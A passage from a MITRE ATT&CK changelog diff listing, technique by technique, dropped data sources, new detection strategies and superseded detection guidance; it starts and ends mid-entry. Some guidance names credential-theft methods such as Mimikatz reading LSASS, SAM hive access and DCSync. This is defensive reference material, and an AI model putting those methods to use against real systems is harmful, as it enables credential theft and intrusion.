STIX Field	Old value	New Value
modified	2025-04-16 20:37:18.015000+00:00	2025-10-24 17:49:02.287000+00:00
x_mitre_detection	Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.

[T1602.002] Data from Configuration Repository: Network Device Configuration Dump

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0233: Detection Strategy for Network Device Configuration Dump via Config Repositories

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:40.804000+00:00	2025-10-24 17:48:47.219000+00:00
x_mitre_detection	Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)

[T1037.003] Boot or Logon Initialization Scripts: Network Logon Script

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0367: Detect Network Logon Script Abuse via Multi-Event Correlation on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Modification', 'Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:51:42.187000+00:00	2025-10-24 17:49:21.921000+00:00
x_mitre_detection	Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1590.006] Gather Victim Network Information: Network Security Appliances

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0889: Detection of Network Security Appliances

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:52:16.483000+00:00	2025-10-24 17:48:55.360000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1046] Network Service Discovery

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0025: Cloud Service (Cloud Service Enumeration)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0376: Behavioral Detection Strategy for Network Service Discovery Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Cloud Service: Cloud Service Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:15.945000+00:00	2025-10-24 17:49:31.494000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.

[T1070.005] Indicator Removal: Network Share Connection Removal

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0103: Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:18.727000+00:00	2025-10-24 17:49:11.691000+00:00
x_mitre_detection	Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of `net use` commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.

[T1135] Network Share Discovery

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0182: Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:52:30.350000+00:00	2025-10-24 17:48:37.475000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1040] Network Sniffing

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0314: Detection Strategy for Network Sniffing Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:19.739000+00:00	2025-10-24 17:48:36.910000+00:00
x_mitre_detection	Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.

[T1590.004] Gather Victim Network Information: Network Topology

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0819: Detection of Network Topology

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:52:48.199000+00:00	2025-10-24 17:48:37.652000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1590.003] Gather Victim Network Information: Network Trust Dependencies

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0828: Detection of Network Trust Dependencies

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:53:01.571000+00:00	2025-10-24 17:48:38.803000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1095] Non-Application Layer Protocol

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0457: Detection of Non-Application Layer Protocols for C2

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:04.779000+00:00	2025-10-24 17:49:20.136000+00:00
x_mitre_detection	Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.

[T1132.002] Data Encoding: Non-Standard Encoding

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0326: Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:12.613000+00:00	2025-10-24 17:49:27.237000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1003] OS Credential Dumping

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Access)
DS0026: Active Directory (Active Directory Object Access)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0234: Credential Dumping via Sensitive Memory and Registry Access Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'File: File Creation', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution', 'Active Directory: Active Directory Object Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:53:37.617000+00:00	2025-10-24 17:48:22.201000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	### Windows Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015) ### Linux To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.

[T1499.001] Endpoint Denial of Service: OS Exhaustion Flood

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0356: Endpoint DoS via OS Exhaustion Flood Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:53:56.462000+00:00	2025-10-24 17:48:23.935000+00:00
x_mitre_detection	Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

[T1027] Obfuscated Files or Information

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0005: WMI (WMI Creation)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Metadata)
DS0024: Windows Registry (Windows Registry Key Creation)

New Detections (Detection Strategies -> Technique):

DET0378: Behavioral Detection of Obfuscated Files or Information

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['WMI: WMI Creation', 'Script: Script Execution', 'File: File Creation', 'Module: Module Load', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Metadata', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:59.251000+00:00	2025-10-24 17:49:15.265000+00:00
x_mitre_detection	Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

[T1588] Obtain Capabilities

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Content)
DS0004: Malware Repository (Malware Metadata)
DS0035: Internet Scan (Response Content)
DS0037: Certificate (Certificate Registration)

New Detections (Detection Strategies -> Technique):

DET0850: Detection of Obtain Capabilities

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Certificate: Certificate Registration', 'Malware Repository: Malware Metadata', 'Internet Scan: Response Content', 'Malware Repository: Malware Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:54:16.100000+00:00	2025-10-24 17:49:24.545000+00:00
x_mitre_detection	Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.

[T1218.008] System Binary Proxy Execution: Odbcconf

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0486: Detecting Odbcconf Proxy Execution of Malicious DLLs

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:01.231000+00:00	2025-10-24 17:48:55.622000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.

[T1137] Office Application Startup

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0398: Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Application Log: Application Log Content', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:54:32.990000+00:00	2025-10-24 17:48:34.614000+00:00
x_mitre_detection	Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

[T1137.001] Office Application Startup: Office Template Macros

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0519: Detect Persistence via Office Template Macro Injection or Registry Hijack

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:54:50.299000+00:00	2025-10-24 17:48:59.432000+00:00
x_mitre_detection	Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)

[T1137.002] Office Application Startup: Office Test

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0315: Detect Persistence via Office Test Registry DLL Injection

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Creation', 'Command: Command Execution', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Process: Process Creation', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:55:04.029000+00:00	2025-10-24 17:49:34.588000+00:00
x_mitre_detection	Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) Consider monitoring Office processes for anomalous DLL loads.

[T1102.003] Web Service: One-Way Communication

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0581: Detect One-Way Web Service Command Channels

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:30.432000+00:00	2025-10-24 17:49:08.849000+00:00
x_mitre_detection	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1137.003] Office Application Startup: Outlook Forms

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0029: Detect Persistence via Outlook Custom Forms Triggered by Malicious Email

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:55:18.800000+00:00	2025-10-24 17:49:12.562000+00:00
x_mitre_detection	Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.

[T1137.004] Office Application Startup: Outlook Home Page

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0177: Detect Persistence via Outlook Home Page Exploitation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:55:34.415000+00:00	2025-10-24 17:49:18.872000+00:00
x_mitre_detection	Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.

[T1137.005] Office Application Startup: Outlook Rules

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0095: Detect Persistence via Malicious Outlook Rules

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Application Log: Application Log Content', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:55:47.125000+00:00	2025-10-24 17:48:41.026000+00:00
x_mitre_detection	Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.

[T1134.004] Access Token Manipulation: Parent PID Spoofing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)

New Detections (Detection Strategies -> Technique):

DET0489: Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: OS API Execution', 'Process: Process Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:18.203000+00:00	2025-10-24 17:49:06.759000+00:00
x_mitre_detection	Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) Monitor and analyze API calls to `CreateProcess`/`CreateProcessA`, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of `CreateProcess`/`CreateProcessA` may also be proceeded by a call to `UpdateProcThreadAttribute`, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.

[T1550.002] Use Alternate Authentication Material: Pass the Hash

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0026: Active Directory (Active Directory Credential Request)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0409: Detection Strategy for T1550.002 - Pass the Hash (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:22.508000+00:00	2025-10-24 17:49:32.459000+00:00
x_mitre_detection	Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)

[T1550.003] Use Alternate Authentication Material: Pass the Ticket

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0026: Active Directory (Active Directory Credential Request)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0352: Detection Strategy for T1550.003 - Pass the Ticket (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
